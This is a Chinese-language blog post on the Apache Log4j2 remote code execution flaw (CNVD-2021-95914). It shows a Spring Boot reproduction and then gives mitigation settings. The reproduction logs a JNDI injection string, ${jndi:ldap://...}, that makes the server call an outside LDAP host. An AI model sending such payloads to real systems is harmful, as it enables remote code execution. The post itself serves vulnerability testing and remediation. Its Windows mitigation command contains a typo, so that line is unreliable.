概述
Apache Log4j2远程代码执行漏洞--解决方案
- 漏洞说明
- 漏洞编号
- 漏洞复现
- 漏洞解决
漏洞说明
Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,被广泛应用于业务系统开发,用以记录程序输入输出日志信息。是目前较为优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可通过构造指定的恶意请求,触发远程代码执行从而获取服务器权限。
漏洞编号
CNVD-2021-95914
漏洞复现
- 前往:https://start.spring.io/ 下载初始项目
- 修改 pom.xml 文件,排除 springboot 默认的日志处理组件 slf4j,替换为 log4j,如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.taps</groupId>
<artifactId>demo</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.1</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
<build>
<finalName>SpringVulExample</finalName>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
- 在 Spring Application 的 Main 方法中增加如下代码 后面的请求可以改成自己的 :
@SpringBootApplication
public class DemoApplication {
private static final Logger LOGGER = (Logger) LogManager.getLogger();
public static void main(String[] args) {
//${jndi:ldap://url} url为你的服务请求地址
LOGGER.error("${jndi:ldap://192.168.1.142:12402/hello}");
SpringApplication.run(DemoApplication.class, args);
}
}
4 构建项目并启动, 在另一个12402服务中会看到 192.168.1.142:12402 这个接口被请求过来. 此时就会触发JNDI 注入
漏洞解决
以下任选一个即可 (本人测试了1 和4 是有效的, 其他的没有经过本人亲自测试)
- (1)在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】
- (2)系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】
- (3)建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
- (4)在项目的resources 目录下 创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true” 【针对 2.10.0 及以上的版本】
如果你是在linux 测试
java -jar -Dlog4j2.formatMsgNoLookups=true ./demo_no.jar
windows
java -Dlog4j-formatMsgNoLookups=true -jar .demo_no.jar
最后
以上就是隐形柠檬为你收集整理的【Apache Log4j2远程代码执行漏洞--解决方案】漏洞说明的全部内容,希望文章能够帮你解决【Apache Log4j2远程代码执行漏洞--解决方案】漏洞说明所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复